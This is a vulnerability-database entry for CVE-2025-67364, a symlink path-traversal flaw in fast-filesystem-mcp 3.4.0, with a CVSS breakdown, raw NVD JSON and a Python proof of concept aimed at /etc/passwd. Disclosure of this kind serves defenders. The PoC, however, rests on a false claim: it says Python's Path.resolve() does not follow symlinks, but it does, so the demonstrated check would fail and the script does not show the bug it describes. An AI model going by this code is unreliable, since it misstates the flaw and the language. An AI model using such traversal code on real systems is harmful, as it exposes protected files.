Security Vulnerability Report
中文
CVE-2025-67364 CVSS 7.5 HIGH

CVE-2025-67364

Published: 2026-01-07 17:16:02
Last Modified: 2026-01-29 01:03:08

Description

fast-filesystem-mcp version 3.4.0 contains a critical path traversal vulnerability in its file operation tools including fast_read_file. This vulnerability arises from improper path validation that fails to resolve symbolic links to their actual physical paths. The safePath and isPathAllowed functions use path.resolve() which does not handle symlinks, allowing attackers to bypass directory access restrictions by creating symlinks within allowed directories that point to restricted system paths. When these symlinks are accessed through valid path references, the validation checks are circumvented, enabling access to unauthorized files.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:efforthye:fast-filesystem-mcp:3.4.0:*:*:*:*:*:*:* - VULNERABLE
fast-filesystem-mcp 3.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import tempfile # PoC for CVE-2025-67364: Path Traversal via Symlink in fast-filesystem-mcp # This demonstrates how symbolic links can bypass path validation def create_symlink_poc(): """ Simulate the path traversal attack: 1. Create a symlink in an allowed directory pointing to a restricted file 2. Access the file through the symlink to bypass validation """ allowed_dir = tempfile.mkdtemp() # Simulated allowed directory target_file = '/etc/passwd' # Restricted system file # Step 1: Create symlink in allowed directory symlink_path = os.path.join(allowed_dir, 'sensitive_file') try: os.symlink(target_file, symlink_path) print(f'[+] Symlink created: {symlink_path} -> {target_file}') except PermissionError: print('[-] Permission denied to create symlink') return # Step 2: Demonstrate path.resolve() does not resolve symlinks from pathlib import Path resolved = str(Path(symlink_path).resolve()) print(f'[*] Path resolved by Path.resolve(): {resolved}') print(f'[*] Original symlink path: {symlink_path}') # Step 3: Check if path validation would pass def isPathAllowed(path, allowed_dir): resolved_path = str(Path(path).resolve()) return resolved_path.startswith(allowed_dir) # This check PASSES incorrectly - vulnerability! check_result = isPathAllowed(symlink_path, allowed_dir) print(f'[*] isPathAllowed({symlink_path}, {allowed_dir}): {check_result}') if check_result: print('[+] VULNERABLE: Path validation bypassed via symlink!') # Cleanup os.unlink(symlink_path) os.rmdir(allowed_dir) if __name__ == '__main__': create_symlink_poc()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67364", "sourceIdentifier": "[email protected]", "published": "2026-01-07T17:16:01.723", "lastModified": "2026-01-29T01:03:07.793", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "fast-filesystem-mcp version 3.4.0 contains a critical path traversal vulnerability in its file operation tools including fast_read_file. This vulnerability arises from improper path validation that fails to resolve symbolic links to their actual physical paths. The safePath and isPathAllowed functions use path.resolve() which does not handle symlinks, allowing attackers to bypass directory access restrictions by creating symlinks within allowed directories that point to restricted system paths. When these symlinks are accessed through valid path references, the validation checks are circumvented, enabling access to unauthorized files."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-24"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:efforthye:fast-filesystem-mcp:3.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "1EFBA1CD-FEBF-481D-A8B9-355D27AD719B"}]}]}], "references": [{"url": "https://github.com/efforthye/fast-filesystem-mcp", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/efforthye/fast-filesystem-mcp/issues/10", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}